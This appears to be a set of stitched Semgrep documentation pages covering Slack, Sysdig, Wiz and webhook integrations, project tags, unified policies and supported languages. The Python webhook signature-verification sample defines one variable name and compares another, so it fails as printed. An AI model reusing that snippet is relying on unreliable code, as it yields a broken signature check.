## Notification and alert de-duplication
Notifications are sent only the first time a given finding is detected.
When running a diff-aware scan, Semgrep doesn't notify you when a pull request has a finding that existed on the base branch already, even if that line is moved or re-indented.
Semgrep also tracks notifications that have already been sent, so subsequent scans of the same changes in a pull request won't result in duplicate notifications.
**NOTE**
See [Findings in CI](/semgrep-ci/findings-ci) for more information about how Semgrep tracks a finding through its lifetime.
## Uninstall the Semgrep Slack App
**CAUTION**
This removes **all** Semgrep notifications in **all** channels in your Slack workspace.
In [Semgrep AppSec Platform](https://semgrep.dev/login), go to **Settings > [Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
On the **[Integrations](https://semgrep.dev/orgs/-/settings/integrations)** page, find the Slack integration you want to remove.
Expand the **Channels receiving Semgrep notifications** section and review the channels receiving notifications.
In the related channels in your Slack workspace, use the `/semgrep_unsubscribe` command to unsubscribe from those notifications.
After completing this step for all channels, click **Remove integration** > **Remove**.
## Troubleshooting
### Not receiving any findings
The following list describes possible ways to troubleshoot findings not appearing in your Slack workspace:
* Check if you have successfully set up your notifications.
* Check if your most recent scan has findings to send.
* Check your filters.
* Check if the channel is private. You must add the Semgrep Slack App to any private channel to subscribe to notifications in that channel.
### Check notifications
To check that your notifications are set up, you can review notifications in two places:
* On the **[Integrations](https://semgrep.dev/orgs/-/settings/integrations)** page, locate your Slack integration and expand **Channels receiving Semgrep notifications**.
* In your Slack workspace, click **Semgrep** under **Apps** in the Slack sidebar and review the channels under **Notifications are being sent to the following channels.**
* To send a test notification to a channel in this list, click the **three-dot menu** > **Send Test Notification**.
### Check your filters
If you have set up any filter, such as filtering for a specific policy or project, all conditions of that filter must be present for the notification to be sent. Review your filters by following the steps in [Changing Slack notification settings](#change-slack-notification-settings).
### Permissions not up-to-date
You may receive a message from Semgrep Slack app stating that your token does not have up-to-date permissions. Clicking the link provided in the message to update the permissions typically resolves this issue.
However, if after updating the token, you still receive the same message, perform the following steps to revoke and refresh your access token:
In your Slack workspace, click **Semgrep** under **Apps** in the Slack sidebar.
Click Uninstall. This revokes your token.
Go to Semgrep AppSec Platform > Settings > Integrations.
Find the Slack entry for the workspace you revoked in step 2 and click **Refresh Token**.
Follow the steps in the authentication flow to complete the token refresh.
You have refreshed your access token and updated your permissions.
### Fixing `dispatch_failed` error
There are many possible causes for this error. Try the following fixes:
* Re-enter your last command or operation after a few minutes.
* Uninstall, and then reinstall your Semgrep Slack integration.
### Fixing `operation_timeout` error
This error occasionally appears due to connection or service issues. To fix this issue, retry your last command or operation after a few minutes.
## Slack permissions
The following table describes the purpose for each permission required to use the Semgrep Slack app.
| Permission | Slack description | Purpose |
| :-------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **[app\_mentions:read](https://api.slack.com/scopes/app_mentions:read)** | View messages that directly mention @Semgrep in conversations that the app is in. | Enables the Semgrep Slack app to respond when users mention it in the chat. |
| **[channels:read](https://api.slack.com/scopes/channels:read)** | View basic information about public channels in a workspace. | Basic channel information such as channel\_id is used to ensure that Semgrep findings (results) are sent to the appropriate channel. |
| **[chat:write](https://api.slack.com/scopes/chat:write)** | Send messages as @Semgrep. | Enables the Semgrep Slack app to send findings to channels. |
| **[chat:write.customize](https://api.slack.com/scopes/chat:write.customize)** | Send messages as @Semgrep with a customized username and avatar. | Helps users identify Semgrep Slack app messages through the use of an image and username. |
| **[chat:write.public](https://api.slack.com/scopes/chat:write.public)** | Send messages to channels @Semgrep isn't a member of. | Enables users to invoke Semgrep Slack app features in any public channel using the slash command. |
| **[commands](https://api.slack.com/scopes/commands)** | Add shortcuts or slash commands that people can use. | Enables the Semgrep Slack app to register custom slash commands such as /semgrep\_subscribe used for notification subscription. |
| **[emoji:read](https://api.slack.com/scopes/emoji:read)** | View custom emoji in a workspace. | Allows Semgrep to support a workspace's custom emojis. |
| **[im:write](https://api.slack.com/scopes/im:write)** | Start direct messages with people. | Allows users to interact with the Semgrep Slack app and use the slash commands in direct messages. |
| **[links:write](https://api.slack.com/scopes/links:write)** | Show previews of URLs in messages. | Enables Semgrep Slack app to include links in messages. |
| **[users:read](https://api.slack.com/scopes/users:read)** | View profile details about people in a workspace. | Enables Semgrep Slack app to correctly address users in messages. |
| **[users:write](https://api.slack.com/scopes/users:write)** | Set presence for Semgrep. | Used by the Semgrep Slack app to interact with the workspace and enables users to add the Semgrep Slack app to relevant channels. |
| **[workflow.steps:execute](https://api.slack.com/scopes/workflow.steps:execute)** | Add steps that people can use in Workflow Builder. | Enables Semgrep to make use of modals and drop-down boxes when a user creates or updates their notifications. |
| **[groups:read](https://api.slack.com/scopes/groups:read)** | View basic information about private channels that your Slack app has been added to. | Semgrep Slack app uses channels\_id\_changed to update its notifications configuration if the channel that receives findings is updated. This ensures that you are able to receive findings ever renaming a channel. |
| **[team:read](https://api.slack.com/scopes/team:read)** | View the name, email domain, and icon for workspaces your slack app is connected to. | Semgrep Slack app uses team\_name\_changed to update its notifications configuration if the team name is updated. This ensures that you are able to receive findings notifications even after renaming your team. |
| **[channels:read](https://api.slack.com/scopes/channels:read)** | View basic information about public channels in a workspace. | Enables Semgrep Slack app to monitor if channels that receive Semgrep findings have been deleted or archived. |
#### Additional resources
* [https://api.slack.com/apps](https://api.slack.com/apps)
* [https://api.slack.com/messaging/webhooks#enable\_webhooks](https://api.slack.com/messaging/webhooks#enable_webhooks)
# View runtime context from Sysdig
Source: https://docs.semgrep.dev/semgrep-appsec-platform/sysdig
The Semgrep Sysdig integration can ingest runtime context from your Sysdig account into Semgrep AppSec Platform. This allows you to prioritize findings based on deployment status.
## Prerequisites
Before proceeding, ensure that:
* You have a license for **Semgrep Supply Chain**
* You have the following tools and integrations set up in your Sysdig account:
* [ Sysdig Secure](https://docs.sysdig.com/en/sysdig-secure/)
* [ Sysdig Shield](https://docs.sysdig.com/en/sysdig-secure/install-shield-kubernetes/), [ Host Shield](https://docs.sysdig.com/en/sysdig-secure/install-host-shield/), or [ Agentless Scanning](https://docs.sysdig.com/en/sysdig-secure/scanning-usecases/#agentless-host-scanning-tech-preview)
* The [ Semgrep Sysdig integration](https://docs.sysdig.com/en/sysdig-secure/integrations-for-sysdig-secure/software-composition-analysis/#semgrep)
* Ensure that you've [ completed the steps to link source to runtime by adding a Docker label](https://docs.sysdig.com/en/sysdig-secure/integrations-for-sysdig-secure/software-composition-analysis/#prerequisite-linking-source-to-runtime)
* You have set up a connection between [Semgrep and your source code manager (SCM)](/deployment/connect-scm).
## Enable the Sysdig integration
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to [**Settings > Integrations**](https://semgrep.dev/orgs/-/settings/integrations).
Click **+ Add > Sysdig**.
In the dialog that appears, provide the following information:
i. **URL**: The Sysdig Platform URL for your account.
ii. **API token**: The Sysdig API token associated with your account. See [ Retrieve the Sysdig API Token](https://docs.sysdig.com/en/administration/retrieve-the-sysdig-api-token/) for more information on how to retrieve your token.
Click **Connect**.
Within several hours, you should see the **Deployment** status for each project on the project's settings page.
## Limitations
* Each Semgrep deployment can only have **one Sysdig integration**.
* The runtime context data is only synced for Semgrep projects that:
* Are connected to SCMs
* Have been scanned within the previous 30 days
* Have Supply Chain findings
* The integration syncs your data every 24 hours, but it may take up to 1 day for Semgrep to reflect any changes to your repositories and infrastructure.
## Troubleshooting
### If you see a **Connection Error** message under your Sysdig integration
If you see the **Connection Error** message under your Sysdig integration, there was an issue establishing a connection or running a sync job for a provider you have connected. Check your connection settings to verify that your configuration is correct.
If the connection settings are correct, [contact Support](/support) for further assistance.
### If you're not seeing data in your project settings page
If you're not seeing data for your project in the project settings page:
* Wait for one day for your data to sync.
* Confirm that an image of the project has been deployed in your infrastructure that Sysdig has access to
* If, after one day, you're still not seeing data, ensure that you meet the integration's prerequisites.
* If, after one day, you meet the integration's prerequisites and confirmed deployment, [contact Support](/support) for further assistance.
# Tag projects
Source: https://docs.semgrep.dev/semgrep-appsec-platform/tags
Tagging enables you to group projects together based on your organization's unique business structure or needs. By tagging projects, you are able to quickly apply Supply Chain policies and other Semgrep features to specific groups.
Add tags for specific projects in the Semgrep AppSec Platform through the following methods:
* Set tags through the **Semgrep AppSec Platform > Projects > Project details** page.
* Set tags using the Semgrep AppSec Platform API.
* Set tags in your repository's `.semgrepconfig.yml` file.
**SETTING TAGS**
* Keep in mind, when setting tags via the `.semgrepconfig.yml` file or Semgrep AppSec Platform API, that these actions **supersede** any tags previously set.
* For example, if you set tags through the API and subsequently run a CI scan, then the previous tags set by the API will be overwritten by any tag definitions in the `.semgrepconfig.yml` file of the repository.
* For this reason, the Semgrep team recommends exclusively choosing either the API or `.semgrepconfig.yml` file to manage and set tags. **Do not use a mix of the two.**
## Set tags through Semgrep AppSec Platform and the API
To manage tags through Semgrep AppSec Platform, follow these steps:
Go to the Semgrep AppSec Platform [Projects](https://semgrep.dev/orgs/-/projects) page.
Find the project you want to modify, then click its ** icon** under **Details**.
Click the **Settings** tab.
Add or remove tags under the **Tags** section.
Click **Save**.
Refer to [Semgrep API documentation](/api-reference/v1/projectsservice/add-tags-to-project) to use the API.
## Set tags in `.semgrepconfig.yml`
You can also add tags through a specific file added to your repository. To do so, follow the instructions below:
Create `.semgrepconfig.yml` file in the root directory of your repository.
Add tags to the `.semgrepconfig.yml` file. Example of tags added to `.semgrepconfig.yml` file:
```yaml theme={null}
tags:
- favourite
- awesomeproject
```
**CAUTION**
Changes to tags made through the `.semgrepconfig.yml` file are also visible in the **Semgrep AppSec Platform > Projects** page, however, the inverse is **not** true (changes in Semgrep AppSec Platform > Projects page will be overwritten by `.semgrepconfig.yml`.)
# Create and manage unified policies
Source: https://docs.semgrep.dev/semgrep-appsec-platform/unified-policies/get-started
This document explains how to migrate existing policies to [unified policies](/semgrep-appsec-platform/unified-policies/overview), as well as how to create new unified policies.
## Migrate existing policies
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Rules & Policies > Policies**. You will see a banner that prompts you to begin the upgrade to unified policies. Click to launch the **Upgrade to Unified Policies** dialog, and follow the on-screen prompts to proceed.
Review the policies that Semgrep has migrated for you. For each product where you have existing policies, select the **I have reviewed these migration details** checkbox to proceed.
When you have completed the migration process, you are redirected to the new **Policies** page, where you can manage your detection and remediation policies.
Note: Email notifications are not supported by Unified Policies. If you currently have an email integration set up, no additional emails will be sent after you migrate to Unified Policies.
## Manage existing detection policies
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Rules & Policies > Detection**. You can manage your policies for:
* Code rules
* Secrets rules
* Supply Chain advisories
Select the product for which youβd like to manage your Detection policy, and click **Edit**.
Find the rules and rulesets youβd like to modify. Filters allow you to narrow the list of rules based on scanning behaviors, languages, rulesets, and more. You can also search for a rule using its name or label.
To change the behavior of your rules:
i. Select the rules by clicking the checkboxes next to their names, then click **Change scanning behavior (n)**. If you're modifying only one rule, you can click the ruleβs link in the **Projects scanning** column.
ii. The **Projects scanning** dialog appears. You can choose to use the rules with **All projects**, **Selected projects** by **Project name**, **Selected projects** by **Tags**, **All with exceptions**, or **None (disable)**.
iii. To use the rules with all of your projects, click **All projects**, then click **Save**.
iv. To use the rules with some of your projects, click **Selected projects**, then click the checkboxes next to the projects to which the rule applies. Click **Save** to proceed.
v. To exclude specific projects, click **All with exceptions**, then select the projects to which the rule doesnβt apply. Click **Save** to proceed.
vi. To prevent the rules from being used at all, click **None (Disable)**, then **Save** to proceed.
## Create a remediation policy
Sign in to Semgrep AppSec Platform.
Go to **Rules & Policies > Remediation**.
To create a policy that defines the automated responses to security findings:
i. Click **+ Create automation**.
ii. Provide a **Policy name**.
iii. Set the **Scope** of the policy by selecting all of the projects to which this policy applies.
iv. Define the **Conditions** that trigger the policy by clicking **+ Add condition** to expand a drop-down list of attributes that you can use. Select the attribute, then set the specific conditions.
* For example, you can select **Severity**, then complete the conditional statement provided to read **When Severity is any of Critical, High**.
* You can define as many conditions as necessary, and Semgrep treats them additively.
v. Choose the **Actions** that occur if there are findings that trigger the policy by clicking **+ Add action**. You can choose multiple **Actions**, including:
vi. Click **Create & Enable** to save and proceed, so that Semgrep uses your new policy the next time you scan a project within its scope. Otherwise, click **Create** to save your changes without enabling the policy.
## Configure default remediation policies
Some remediation policies are created for you by default and can't be renamed or deleted β only enabled and configured with actions. Supply Chain incidents, for example, use a dedicated policy that already exists for your organization.
Go to **Rules & Policies > Remediation**, and find the default policy for the feature you want to configure.
Add the **Actions** you want it to perform, then enable the policy.
See [Supply Chain incident notifications and response](/semgrep-supply-chain/incident-notifications) for a complete walkthrough of the default Supply Chain incident policy.
# Unified policies
Source: https://docs.semgrep.dev/semgrep-appsec-platform/unified-policies/overview
Unified policies allow you to choose the rules and rulesets used for Semgrep scans and define what happens to a finding after identification, such as whether a finding is monitored, generates a pull request (PR) or merge request (MR) comment, or blocks a PR or MR. With unified policies, there are two types of policy definitions available to you:
* **Detection policies**, which determine what rules are used to scan your project.
* **Remediation policies**, which determine what happens to the findings identified by Semgrep. These actions can include leaving PR/MR comments, blocking the PRs/MRs, creating Jira tickets, sending Slack notifications, and more.
## A comparison of legacy behavior versus the new behavior
Previously, you were able to [define Policies](/semgrep-code/policies) for each Semgrep product on a rule-by-rule basis. For each rule, you could determine whether findings identified based on that rule would be **monitored**, where the findings are only sent to Semgrep AppSec Platform for review, **generate a PR or MR comment**, or **block a PR or MR from being merged**:
| **Rule A** | Monitor |
| :--------- | :------ |
| **Rule B** | Comment |
| **Rule C** | Block |
| **Rule D** | Block |
With unified policies, your definitions are now split into detection and remediation policies. The following tables show the detection policy enabling the rules for all projects and the remediation policy defining the actions that occur when the specified rules generate findings:
### Detection policy
| **Rule A** | Enabled. Scope: All projects |
| :--------- | :--------------------------------- |
| **Rule B** | Enabled. Scope: All projects |
| **Rule C** | Enabled. Scope: All projects |
| **Rule D** | Enabled. Scope: All projects |
### Remediation policy
| | | |
| :--------------- | :---------------- | :------------------------------------------------------------ |
| **Automation 1** | Name | Comment on PR or MR with findings |
| **Automation 1** | Scope | All projects |
| **Automation 1** | Conditions | Rule is one of:
Rule B
|
| **Automation 1** | Actions | Comment on the PR or MR |
| **Automation 2** | Name | Block PR or MR merges with findings |
| **Automation 2** | Scope | All projects |
| **Automation 2** | Conditions | Rule is one of:
Rule C
Rule D
|
| **Automation 2** | Actions | Block PR or MR |
## Next steps
# Enable webhooks
Source: https://docs.semgrep.dev/semgrep-appsec-platform/webhooks
Webhooks are a generic method for Semgrep AppSec Platform to post JSON-formatted findings after each scan to your URL endpoint.
**FOR SLACK INTEGRATIONS**
* To integrate with Slack, use the [Semgrep Slack app](/semgrep-appsec-platform/slack-notifications). The webhook setup described in this guide does not work for Slack integrations.
Semgrep sends two types of JSON objects:
`semgrep_scan` JSON object
A `semgrep_scan` object contains information about the CI job and other scan parameters, such as ignored files. Semgrep sends a single `semgrep_scan` object **every time a scan is run**. This includes diff-aware scans, full scans, and scans that have no findings.
`semgrep_finding` JSON object
A `semgrep_finding` object is a single record of a new finding. Semgrep sends new `semgrep_finding` objects based on how you have configured your notifications in Policies. See [Set up webhooks](#set-up-webhooks) to learn more.
## Set up webhooks
Perform these steps in Semgrep AppSec Platform to set up webhooks:
Create a webhook integration:
i. On the navigation menu, click ** Settings > Integrations > Add**.
ii. Click **Webhook**.
iii. In the **Name** field, enter a name for the integration.
iv. In the **Webhook URL** field, enter the target webhook URL for the integration.
v. Optional: Provide a **Signature Secret**. The secret must be at least 15 characters long. If you provide a secret, Semgrep sends an `X-Semgrep-Signature-256` signature header with the payload.
vi. Optional: If you use the [Semgrep Network Broker](/semgrep-ci/network-broker), and your webhook URL is only accessible from your private network, enable the **Use Network Broker** toggle.
vii. Click **Subscribe**.
Turn notifications on:
i. Click **Rules > Policies > Rule Modes**.
ii. Click the **Edit** button of the Rule Mode for which you want to receive webhook notifications. For example, if you want to be notified of all blocking findings through webhooks, click the **Edit** button of the **Block** mode.
iii. Repeat the previous step for all Rule Modes that you want to receive notifications for.
## Test webhooks
To verify that Semgrep can post to your URL:
Navigate to ** Settings > Integrations**
Click the **Test** button of the webhook integration you want to test.
The following sample code in Python shows how to verify the signature in the `X-Semgrep-Signature-256` header:
```python theme={null}
provided_signature = request.headers['X-Semgrep-Signature-256']
secret = "this_is_a_secret"
payload_str = json.dumps(request.get_json(), separators=(',', ':'))
computed_sig = hmac.new(
secret.encode('utf-8'),
payload_str.encode('utf-8'),
hashlib.sha256
).hexdigest()
logger.info(f"valid signature: {hmac.compare_digest(provided_sig, computed_sig)}")
```
## Notification and alert de-duplication
Notifications are sent only the first time a given finding is detected.
When running a diff-aware scan, Semgrep doesn't notify you when a pull request has a finding that existed on the base branch already, even if that line is moved or re-indented.
Semgrep also tracks notifications that have already been sent, so subsequent scans of the same changes in a pull request won't result in duplicate notifications.
**NOTE**
See [Findings in CI](/semgrep-ci/findings-ci) for more information about how Semgrep tracks a finding through its lifetime.
## Semgrep findings object
Currently, only Semgrep Code (SAST) findings are sent through webhooks. The `numeric_id` field represents the finding's ID in Semgrep AppSec Platform.
The following is an example of a `semgrep_finding` object sent by Semgrep:
```json expandable theme={null}
[
{
"semgrep_finding": {
"check_id": "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
"column": 28,
"commit_date": "2024-06-11T20:39:36",
"commit_url": "https://github.com/owasp/juice-shop/commit/1bb71fff3589e51293e373274092d82c426025d2",
"end_column": 159,
"end_line": 10,
"first_seen_scan_id": "j4an6ro33aJM",
"id": "c409ef941eec3008da6e1fd347e793aa",
"index": 0,
"line": 10,
"message": "Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.",
"metadata": {
"category": "security",
"confidence": "HIGH",
"cwe": [
"CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
],
"cwe2021-top25": 1,
"cwe2022-top25": 1,
"dev.semgrep.actions": [
"comment"
],
"impact": "HIGH",
"interfile": 1,
"license": "Commons Clause License Condition v1.0[LGPL-2.1-only]",
"likelihood": "HIGH",
"owasp": [
"A01:2017 - Injection",
"A03:2021 - Injection"
],
"references": [
"https://sequelize.org/v6/core-concepts/raw-queries/#replacements"
],
"semgrep.dev": {
"rule": {
"origin": "community",
"r_id": 22085,
"rule_id": "yyU0GX",
"rule_name": "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
"rv_id": 109973,
"url": "https://semgrep.dev/playground/r/3ZTkQwW/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
"version_id": "3ZTkQwW"
},
"src": "unchanged"
},
"semgrep.policy": {
"id": 61271,
"name": "Rule Board - PR Comments column",
"slug": "rule-board-pr-comments"
},
"semgrep.url": "https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
"shortlink": "https://sg.run/gjoe",
"source": "https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
"subcategory": [
"vuln"
],
"technology": [
"express"
],
"vulnerability_class": [
"SQL Injection"
]
},
"numeric_id": 11301071,
"path": "data/static/codefixes/unionSqlInjectionChallenge_3.ts",
"ref": "refs/heads/master",
"repo_name": "owasp/juice-shop",
"severity": 2,
"start_date": "2023-02-12 00:50:21.552606+00:00"
}
}
]
```
## Semgrep scan object
The following is an example of a `semgrep_scan` object sent by Semgrep:
```json expandable theme={null}
{
"semgrep_scan": {
"deployment_id": 1,
"enabled_products": [
"sast",
"sca",
"secrets"
],
"exit_code": null,
"hashed_id": "Y4QdEwR2qPgK",
"id": 27714135,
"meta": {
"app_block_override": null,
"branch": "refs/pull/7/merge",
"ci_job_url": "https://github.com/owasp/juice-shop/actions/runs/9999999",
"commit": "4166d6fd19ce97e65cf3278ce85afe4f444a7842",
"commit_author_image_url": "https://avatars.githubusercontent.com/u/1274037?v=4",
"commit_author_email": "support@semgrep.com",
"commit_author_name": "Semgrep User",
"commit_author_username": "semgrepuser",
"commit_timestamp": "2024-06-11T21:25:13",
"commit_title": "random code changes",
"is_code_scan": 0,
"is_full_scan": 0,
"is_sca_scan": 0,
"is_secrets_scan": 0,
"on": "pull_request",
"org_id": "1274037",
"pull_request_author_username": "semgrepuser",
"pull_request_author_image_url": "https://avatars.githubusercontent.com/u/29760937?s=200&v=4",
"pull_request_id": "7",
"pull_request_title": "random code changes",
"renamed_paths": [],
"repo_display_name": "owasp/juice-shop",
"repo_id": "600593544",
"repo_url": "https://github.com/owasp/juice-shop",
"repository": "owasp/juice-shop",
"scan_environment": "github-actions",
"semgrep_version": "1.75.0",
"version": "v1"
},
"repository_id": 158684,
"started_at": "2024-06-11T21:26:22.844158+00:00",
"completed_at": null,
"stats": null,
"tenant_name": "default"
}
}
```
# View Semgrep findings in Wiz's Security Graph
Source: https://docs.semgrep.dev/semgrep-appsec-platform/wiz
Semgrep integrates with Wiz by establishing a secure connection with Wiz's API endpoints. If your Wiz instance has a security graph enrichment integration, you can view SAST vulnerabilities that Semgrep identifies in the repositories it scans and are also present in your cloud-native application protection platform (CNAPP). Semgrep's goal is to give you a holistic view of your code and infrastructure security so that you can focus on what matters most.
## Prerequisites
This integration is available for users with both a [Semgrep Code license](https://semgrep.dev/products/semgrep-code/) and a [Wiz Code Security license](https://www.wiz.io/platform/wiz-code).
To send Semgrep Code findings to Wiz:
* You must [connect your source code manager to Semgrep](/deployment/connect-scm). At this time, Wiz [supports the use of the following](https://win.wiz.io/sast-app-vuln-findings-schema#schema-fields):
* GitHub Cloud
* GitHub Enterprise Server
* GitLab Cloud
* GitLab Self-managed
* You must have a Wiz service account with sufficient permissions to create a service account, if needed, and integrations. The service account must be able to provide Semgrep with the following scopes: `create:external_data_ingestion`, `read:system_activities`, and `read:resources`. You must also have [the client ID and the client secret that accompanies the service account](https://docs.wiz.io/wiz-docs/semgrep-integration).
* You must add the [Semgrep integration](https://app.wiz.io/settings/automation/integrations) from the Wiz Integration Network. During this process, save the following values shown to you:
ββi. API Endpoint URL
ββii. Authentication URL
You can find both values at a later date under [tenant info](https://app.wiz.io/tenant-info/general).
**NOTE**
For Wiz users with a [Code Security](https://www.wiz.io/platform/wiz-code) license: this integration takes effect automatically when you create a Wiz Cloud Insights account.
## Limitations
Semgrep sends data to Wiz after every successful full scan; Semgrep does not send data from diff-aware scans. Wiz batches and syncs your data once every 24 hours.
By default, the Code findings that Semgrep sends are:
* Critical or high severity
* From full scans
* From the default branch of each repository
Semgrep sends findings from all repositories on supported SCMs in your organization. Findings previously sent but not included in submissions are marked as fixed in Wiz.
Currently, findings from repositories on SCMs other than GitHub and GitLab are not supported, as indicated in [Prerequisites](#prerequisites).
**CAUTION**
Due to [a limitation of how Wiz handles external enrichment data](https://win.wiz.io/limitations#external-enrichment-limitations), you must run a new SAST scan on your Semgrep project once a week to maintain the data displayed in Wiz.
## Add the Semgrep integration from the Wiz Integration Network
To learn how to add the Semgrep integration from the Wiz Integration Network, review [Wiz Docs' Semgrep Integration](https://docs.wiz.io/wiz-docs/semgrep-integration).
## Configure the integration in Semgrep
Once you've added the Semgrep integration from the Wiz Integration Network, you must continue the setup process in Semgrep:
Sign in to [Semgrep](https://semgrep.dev/login).
In the navigation bar, click **Settings**.
Navigate to **Integrations**, and click **+ Add > Wiz**.
In the dialog that appears, provide the following information:
i. API Endpoint URL
ii. Authentication URL
iii. Client ID
iv. Client Secret
You can obtain the **API Endpoint URL** and the **Authentication URL** from Wiz in [Tenant Info](https://app.wiz.io/tenant-info/general), while Wiz provides the **Client ID** and **Client Secret** when you set up a service account.
Click **Connect**.
If Semgrep successfully creates the connection, a dialog pops up that says, "Wiz credential created successfully." Semgrep also lists Wiz as an integration; you can verify the connection again by clicking **Test connection**.
### Edit the integration
To edit the integration:
Sign in to [Semgrep](https://semgrep.dev/login).
In the navigation bar, click **Settings**.
Navigate to **Integrations**, and find the **Wiz** integration.
Click **Edit**, and update the information required by Wiz as needed.
Click **Save changes**.
### Delete the integration
To delete the integration:
Sign in to [Semgrep](https://semgrep.dev/login).
In the navigation bar, click **Settings**.
Navigate to **Integrations**, and find the **Wiz** integration.
Click the ** trash can** icon.
Click **Delete** to confirm.
# Supported languages for Semgrep Community Edition (CE)
Source: https://docs.semgrep.dev/semgrep-ce-languages
This document provides information about supported languages for Semgrep Code and Semgrep CE.
## Semgrep Code and CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine. These languages are supported by the Semgrep community, at best effort.
Semgrep Code is a static application security testing (SAST) solution designed to detect complex security vulnerabilities. It makes use of proprietary Semgrep analyses, such as cross-file (interfile) dataflow analysis and framework specific analyses, in addition to Semgrep CE. This results in a [**higher true positive rate than Semgrep CE**](/semgrep-pro-vs-oss). Semgrep Code provides the highest quality support by the Semgrep team: reported issues are resolved promptly.
Use either tool to scan local code or integrate it into your CI/CD pipeline to automate the continuous scanning of your repositories.
| **Languages** | **π Semgrep Code:** [Free for small teams](https://semgrep.dev/pricing) | **Semgrep CE** |
| :-------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------- |
| C / C++ | **Generally available** β’ Cross-file dataflow analysis β’ 150+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| C# | \*\*Generally available \*\* β’ Cross-file dataflow analysis β’ Supports up to C# 13 β’ 170+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules β’ Supports up to C# 7.0 |
| Go | **Generally available** β’ Cross-file dataflow analysis β’ 80+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Java | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 190+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| JavaScript | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 250+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Kotlin | \*\*Generally available \*\* β’ Cross-file dataflow analysis β’ 60+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| [Python](/languages/python) | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 710+ Pro rules β’ See [Python-specific support details](/languages/python) | Community supported β’ Limited to single-function analysis β’ Community rules |
| Typescript | \*\*Generally available \*\* β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 230+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Ruby | \*\*Generally available \*\* β’ Cross-function dataflow analysis β’ 40+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Rust | \*\*Generally available \*\* β’ Cross-function dataflow analysis β’ 40+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| JSX | \*\*Generally available \*\* β’ Cross-function dataflow analysis β’ 70+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| PHP | \*\*Generally available \*\* β’ Cross-function dataflow analysis β’ 50+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Scala | \*\*Generally available \*\* β’ Cross-function dataflow analysis β’ Community rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Swift | \*\*Generally available \*\* β’ Cross-function dataflow analysis β’ 60+ Pro rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Terraform | **Generally available** β’ Cross-function dataflow analysis β’ Community rules | Community supported β’ Limited to single-function analysis β’ Community rules |
| Generic | \*\*Generally available \*\* | Community supported |
| JSON | \*\*Generally available \*\* | Community supported |
| APEX | **Beta** | Not available |
| Elixir | **Beta** | Not available |
* Bash
* Cairo
* Circom
* Clojure
* Dockerfile
* Hack
* HTML
* Jsonnet
* Julia
* Lisp
* Lua
* Move on Aptos
* Move on Sui
* OCaml
* R
* Scheme
* Solidity
* YAML
* XML
## Language maturity definitions
Semgrep Code languages can be classified into four maturity levels:
* Generally available (GA)
* Beta
* Experimental
* Community supported\*
\*Community supported languages meet the parse rate and syntax requirements of **Experimental** languages. Users can still access community rules or write their own rules.
| **Feature** | **GA** | **Beta** | **Experimental** | **Community supported** |
| :------------------ | :----------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Support | Highest quality support by the Semgrep team. Reported issues are resolved promptly. | Supported by the Semgrep team. Reported issues are fixed after GA languages. | There are limitations to this language's functionality. Reported issues are tracked and prioritized with best effort. | These languages are supported by the Semgrep community. While Semgrep may develop rules or engine updates for these languages, they are not prioritized. |
| Parse Rate | 99%+ | 95%+ | 90%+ | 90%+ |
| Number of Pro rules | 10+ | 5+ | 0+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. | 0+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. |
| Semgrep syntax | Regex, equivalence, deep expression operators, types and typing. All features supported in Beta. | Complete metavariable support, metavariable equality. All features supported in Experimental. | Syntax, ellipsis operator, basic metavariable functionality. | Syntax, ellipsis operator, basic metavariable functionality. |
# Continuous integration (CI) environment variables
Source: https://docs.semgrep.dev/semgrep-ci/ci-environment-variables
Use this reference to configure Semgrep's behavior in CI environments by setting environment variables. You can set these variables within a CI configuration file or your CI provider's interface. Refer to your CI provider's documentation for the correct syntax. Examples are written for a Bash environment unless otherwise stated.
**TEST ENVIRONMENT VARIABLES LOCALLY**
* Semgrep attempts to autodetect CI environment variables necessary to run CI scans. You can override these values by setting variables explicitly.
* You can also set many of these environment variables within your local development environment. Set these variables in your command line then run `semgrep ci` while logged in Semgrep CLI to test these environment variables locally.
## Environment variables for configuring scan behavior
These environment variables configure various aspects of your CI job, such as a job's timeout or source of rules.
